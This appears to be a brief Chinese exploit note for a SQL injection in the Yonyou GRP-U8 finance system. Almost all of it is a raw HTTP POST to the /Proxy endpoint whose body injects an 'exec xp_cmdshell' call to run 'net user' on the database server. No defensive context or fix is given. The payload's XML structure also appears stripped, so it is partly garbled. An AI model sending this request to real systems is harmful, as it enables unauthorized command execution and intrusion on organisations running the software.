用友GRP-u8 SQL注入

# 用友GRP-u8 SQL注入

“`
POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache

cVer=9.8.0&dp=XMLAS_DataRe
questProviderNameDataSetProviderDataDataexec xp_cmdshell ‘net
user’
“`